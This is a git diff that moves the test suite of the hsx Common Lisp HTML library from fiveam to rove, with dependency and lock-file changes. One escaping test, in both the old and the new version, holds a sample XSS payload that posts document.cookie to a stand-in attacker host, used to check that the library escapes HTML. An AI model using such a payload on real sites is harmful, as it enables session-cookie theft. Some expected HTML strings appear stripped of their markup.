diff --git a/hsx-test.asd b/hsx-test.asd
index 4fb1e4a..06fbb9c 100644
--- a/hsx-test.asd
+++ b/hsx-test.asd
@@ -1,13 +1,9 @@
(defsystem "hsx-test"
- :defsystem-depends-on ("fiveam-asdf")
- :class :package-inferred-fiveam-tester-system
+ :class :package-inferred-system
:pathname "tests"
- :depends-on ("hsx-test/element"
- "hsx-test/hsx"
+ :depends-on ("rove"
+ "hsx-test/element"
"hsx-test/escaper"
- "hsx-test/group")
- :test-names ((#:element-test . #:hsx-test/element)
- (#:hsx-test . #:hsx-test/hsx)
- (#:escaper-test . #:hsx-test/escaper)
- (#:group-test . #:hsx-test/group))
- :num-checks 44)
+ "hsx-test/group"
+ "hsx-test/hsx")
+ :perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
diff --git a/qlfile b/qlfile
index 9263a89..8fe6a9d 100644
--- a/qlfile
+++ b/qlfile
@@ -1,3 +1,4 @@
-ql fiveam-asdf
ql alexandria
ql mstrings
+github rove fukamachi/rove
+github dissect Shinmera/dissect ; workaround
diff --git a/qlfile.lock b/qlfile.lock
index 1e0f4f7..a072ede 100644
--- a/qlfile.lock
+++ b/qlfile.lock
@@ -2,10 +2,6 @@
(:class qlot/source/dist:source-dist
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
:version "2023-10-21"))
-("fiveam-asdf" .
- (:class qlot/source/ql:source-ql
- :initargs (:%version :latest)
- :version "ql-2023-10-21"))
("alexandria" .
(:class qlot/source/ql:source-ql
:initargs (:%version :latest)
@@ -14,3 +10,11 @@
(:class qlot/source/ql:source-ql
:initargs (:%version :latest)
:version "ql-2023-10-21"))
+("rove" .
+ (:class qlot/source/github:source-github
+ :initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
+ :version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
+("dissect" .
+ (:class qlot/source/github:source-github
+ :initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
+ :version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
diff --git a/src/element.lisp b/src/element.lisp
index ee6cf5d..c9e61df 100644
--- a/src/element.lisp
+++ b/src/element.lisp
@@ -49,7 +49,7 @@
;;;; factory
(defun create-element (type props children)
- (make-instance
+ (make-instance
(cond ((functionp type) 'component)
((eq type :<>) 'fragment)
((eq type :html) 'html-tag)
diff --git a/tests/element.lisp b/tests/element.lisp
index 106640a..36bd31c 100644
--- a/tests/element.lisp
+++ b/tests/element.lisp
@@ -1,145 +1,143 @@
(defpackage #:hsx-test/element
(:use #:cl
- #:fiveam
+ #:rove
#:hsx/element)
(:import-from #:named-readtables
#:in-readtable)
(:import-from #:mstrings
#:mstring-syntax))
(in-package #:hsx-test/element)
+
(in-readtable mstring-syntax)
-(def-suite element-test)
-(in-suite element-test)
+(deftest tag-test
+ (testing "element-class"
+ (ok (typep (create-element :div nil nil) 'tag))
+ (ok (typep (create-element :html nil nil) 'html-tag))
+ (ok (typep (create-element :img nil nil) 'self-closing-tag))
+ (ok (typep (create-element :style nil nil) 'non-escaping-tag))
+ (ok (typep (create-element :<> nil nil) 'fragment))
+ (ok (typep (create-element (lambda ()) nil nil) 'component))
+ (ok (signals (create-element "div" nil nil))))
-(test element-class
- (is (typep (create-element :div nil nil) 'tag))
- (is (typep (create-element :html nil nil) 'html-tag))
- (is (typep (create-element :img nil nil) 'self-closing-tag))
- (is (typep (create-element :style nil nil) 'non-escaping-tag))
- (is (typep (create-element :<> nil nil) 'fragment))
- (is (typep (create-element (lambda ()) nil nil) 'component))
- (signals error (create-element "div" nil nil)))
-
-(test flatten-children
- (let* ((elm (create-element :p
- nil
- (list "a"
- nil
- (list "b" (list nil "c"))
- (cons "d" "e")))))
- (is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
-
-(test empty-element
- (is (string= "
"
- (render-to-string (create-element :div nil nil)))))
-
-(test element-with-props
- (is (string= ""
- (render-to-string (create-element :div
- (list :prop1 "value1"
- :prop2 t
- :prop3 nil)
- nil)))))
-
-(test element-with-children
- (is (string= "foo
"
- (render-to-string (create-element :p
- nil
- (list "foo"))
- :pretty t)))
- (is (string= #M"
+ (testing "flatten-children"
+ (let* ((elm (create-element :p
+ nil
+ (list "a"
+ nil
+ (list "b" (list nil "c"))
+ (cons "d" "e")))))
+ (ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
+
+ (testing "empty-element"
+ (ok (string= "
"
+ (render-to-string (create-element :div nil nil)))))
+
+ (testing "element-with-props"
+ (ok (string= ""
+ (render-to-string (create-element :div
+ (list :prop1 "value1"
+ :prop2 t
+ :prop3 nil)
+ nil)))))
+
+ (testing "element-with-children"
+ (ok (string= "foo
"
+ (render-to-string (create-element :p
+ nil
+ (list "foo"))
+ :pretty t)))
+ (ok (string= #M"
\ foo
"
- (render-to-string (create-element :p
- nil
- (list (create-element :span
- nil
- (list "foo"))))
- :pretty t)))
- (is (string= #M"
+ (render-to-string (create-element :p
+ nil
+ (list (create-element :span
+ nil
+ (list "foo"))))
+ :pretty t)))
+ (ok (string= #M"
\ foo
\ bar
"
- (render-to-string (create-element :p
- nil
- (list "foo"
- (create-element :span
- nil
- (list "bar"))))
- :pretty t))))
+ (render-to-string (create-element :p
+ nil
+ (list "foo"
+ (create-element :span
+ nil
+ (list "bar"))))
+ :pretty t))))
-(test element-with-props-and-children
- (is (string= "foo
"
- (render-to-string (create-element :p
- (list :prop1 "value1"
- :prop2 t
- :prop3 nil)
- (list "foo"))
- :pretty t)))
- (is (string= #M"
+ (testing "element-with-props-and-children"
+ (ok (string= "
foo
"
+ (render-to-string (create-element :p
+ (list :prop1 "value1"
+ :prop2 t
+ :prop3 nil)
+ (list "foo"))
+ :pretty t)))
+ (ok (string= #M"
\ foo
\ bar
"
- (render-to-string (create-element :p
- (list :prop1 "value1"
- :prop2 t
- :prop3 nil)
- (list "foo"
- (create-element :span
- nil
- "bar")))
- :pretty t))))
-
-(test self-closing-tag
- (is (string= ""
- (render-to-string (create-element :img
- (list :src "/background.png")
- nil)
- :pretty t))))
-
-(test escaping-tag
- (is (string= "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
"
- (render-to-string
- (create-element :div
- nil
- (list ""))))))
-
-(test non-escaping-tag
- (is (string= ""
- (render-to-string
- (create-element :script
- nil
- "alert('<< Do not embed user-generated contents here! >>')")))))
-
-(test fragment
- (let ((frg (create-element :<>
- nil
- (list (create-element :li
- nil
- (list "bar"))
- (create-element :li
- nil
- (list "baz"))))))
- (is (string= #M"bar
+ (render-to-string (create-element :p
+ (list :prop1 "value1"
+ :prop2 t
+ :prop3 nil)
+ (list "foo"
+ (create-element :span
+ nil
+ "bar")))
+ :pretty t))))
+ (testing "self-closing-tag"
+ (ok (string= ""
+ (render-to-string (create-element :img
+ (list :src "/background.png")
+ nil)
+ :pretty t))))
+
+ (testing "escaping-tag"
+ (ok (string= "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
"
+ (render-to-string
+ (create-element :div
+ nil
+ (list ""))))))
+
+ (testing "non-escaping-tag"
+ (ok (string= ""
+ (render-to-string
+ (create-element :script
+ nil
+ "alert('<< Do not embed user-generated contents here! >>')")))))
+
+ (testing "fragment"
+ (let ((frg (create-element :<>
+ nil
+ (list (create-element :li
+ nil
+ (list "bar"))
+ (create-element :li
+ nil
+ (list "baz"))))))
+ (ok (string= #M"bar
baz"
- (render-to-string frg :pretty t)))
- (is (string= #M"
+ (render-to-string frg :pretty t)))
+ (ok (string= #M""
- (render-to-string (create-element :ul
- nil
- (list (create-element :li
- nil
- (list "foo"))
- frg
- (create-element :li
- nil
- (list "brah"))))
- :pretty t)))))
+ (render-to-string (create-element :ul
+ nil
+ (list (create-element :li
+ nil
+ (list "foo"))
+ frg
+ (create-element :li
+ nil
+ (list "brah"))))
+ :pretty t))))))
(defun comp1 (&key prop children)
(create-element :div
@@ -147,26 +145,12 @@
(list prop
children)))
-(test component-accepting-keyword-args
- (let ((elm (expand-component (create-element #'comp1
- '(:prop "value")
- (list "child")))))
- (is (eq :div (element-type elm)))
- (is (equal (list "value" "child") (element-children elm)))))
-
(defun comp2 (&rest props)
(create-element :div
nil
(list (getf props :prop)
(getf props :children))))
-(test component-accepting-property-list
- (let ((elm (expand-component (create-element #'comp2
- '(:prop "value")
- (list "child")))))
- (is (eq :div (element-type elm)))
- (is (equal (list "value" "child") (element-children elm)))))
-
(defun comp3 (&rest props &key prop children &allow-other-keys)
(create-element :div
nil
@@ -174,9 +158,24 @@
children
(getf props :other-key))))
-(test component-accepting-keyword-args-and-property-list
- (let ((elm (expand-component (create-element #'comp3
- '(:prop "value" :other-key "other")
- (list "child")))))
- (is (eq :div (element-type elm)))
- (is (equal (list "value" "child" "other") (element-children elm)))))
+(deftest component-test
+ (testing "component-accepting-keyword-args"
+ (let ((elm (expand-component (create-element #'comp1
+ '(:prop "value")
+ (list "child")))))
+ (ok (eq :div (element-type elm)))
+ (ok (equal (list "value" "child") (element-children elm)))))
+
+ (testing "component-accepting-property-list"
+ (let ((elm (expand-component (create-element #'comp2
+ '(:prop "value")
+ (list "child")))))
+ (ok (eq :div (element-type elm)))
+ (ok (equal (list "value" "child") (element-children elm)))))
+
+ (testing "component-accepting-keyword-args-and-property-list"
+ (let ((elm (expand-component (create-element #'comp3
+ '(:prop "value" :other-key "other")
+ (list "child")))))
+ (ok (eq :div (element-type elm)))
+ (ok (equal (list "value" "child" "other") (element-children elm))))))
diff --git a/tests/escaper.lisp b/tests/escaper.lisp
index d4ed8de..9de77cf 100644
--- a/tests/escaper.lisp
+++ b/tests/escaper.lisp
@@ -1,16 +1,14 @@
(defpackage #:hsx-test/escaper
(:use #:cl
- #:fiveam
+ #:rove
#:hsx/escaper))
(in-package #:hsx-test/escaper)
-(def-suite escaper-test)
-(in-suite escaper-test)
-
-(test escape-html-attribute
- (is (equal ""foo""
- (escape-html-attribute "\"foo\""))))
-
-(test escape-html-text-content
- (is (string= "&<>"'/`="
- (escape-html-text-content "&<>\"'/`="))))
+(deftest escaper-test
+ (testing "escape-html-attribute"
+ (ok (string= ""foo""
+ (escape-html-attribute "\"foo\""))))
+
+ (testing "escape-html-text-content"
+ (ok (string= "&<>"'/`="
+ (escape-html-text-content "&<>\"'/`=")))))
diff --git a/tests/group.lisp b/tests/group.lisp
index da5b371..56e7c99 100644
--- a/tests/group.lisp
+++ b/tests/group.lisp
@@ -1,16 +1,14 @@
(defpackage #:hsx-test/group
(:use #:cl
- #:fiveam
+ #:rove
#:hsx/group))
(in-package #:hsx-test/group)
-(def-suite group-test)
-(in-suite group-test)
-
(defgroup fruit
apple banana orange)
-(test defgroup
- (is (hash-table-p *fruit*))
- (is (fruit-p :apple))
- (is (not (fruit-p :tomato))))
+(deftest group-test
+ (testing "defgroup"
+ (ok (hash-table-p *fruit*))
+ (ok (fruit-p :apple))
+ (ng (fruit-p :tomato))))
diff --git a/tests/hsx.lisp b/tests/hsx.lisp
index 49b7427..f7edd0d 100644
--- a/tests/hsx.lisp
+++ b/tests/hsx.lisp
@@ -1,6 +1,6 @@
(defpackage #:hsx-test/hsx
(:use #:cl
- #:fiveam
+ #:rove
#:hsx/hsx
#:hsx/builtin)
(:import-from #:hsx/element
@@ -8,62 +8,20 @@
#:element-children))
(in-package #:hsx-test/hsx)
-(def-suite hsx-test)
-(in-suite hsx-test)
-
-(test find-symbols
- (is (equal '(hsx/builtin:div '(:div "div")
- div
- (hsx/builtin:div
- 'div
- (hsx/builtin:div)
- :div)
- "div")
- (macroexpand-1
- '(hsx (div '(:div "div")
- div
- (div
- 'div
- (div)
- :div)
- "div"))))))
-
-(test empty-hsx
- (let ((elm (div)))
- (is (null (element-props elm)))
- (is (null (element-children elm)))))
-
-(test hsx-with-static-props
- (let ((elm (div :prop1 "value1" :prop2 "value2")))
- (is (equal '(:prop1 "value1" :prop2 "value2")
- (element-props elm)))
- (is (null (element-children elm)))))
-
-(test hsx-with-dynamic-props
- (let* ((props '(:prop1 "value1" :prop2 "value2"))
- (elm (div props)))
- (is (equal props (element-props elm)))
- (is (null (element-children elm)))))
-
-(test hsx-with-children
- (let ((elm (div
- "child1"
- "child2")))
- (is (null (element-props elm)))
- (is (equal (list "child1" "child2") (element-children elm)))))
-
-(test hsx-with-static-props-and-children
- (let ((elm (div :prop1 "value1" :prop2 "value2"
- "child1"
- "child2")))
- (is (equal '(:prop1 "value1" :prop2 "value2")
- (element-props elm)))
- (is (equal (list "child1" "child2") (element-children elm)))))
-
-(test hsx-with-dynamic-props-and-children
- (let* ((props '(:prop1 "value1" :prop2 "value2"))
- (elm (div props
- "child1"
- "child2")))
- (is (equal props (element-props elm)))
- (is (equal (list "child1" "child2") (element-children elm)))))
+(deftest hsx-test
+ (testing "find-symbols"
+ (ok (expands
+ '(hsx (div '(:div "div")
+ div
+ (div
+ 'div
+ (div)
+ :div)
+ "div"))
+ '(hsx/builtin:div '(:div "div")
+ div
+ (hsx/builtin:div
+ 'div
+ (hsx/builtin:div)
+ :div)
+ "div")))))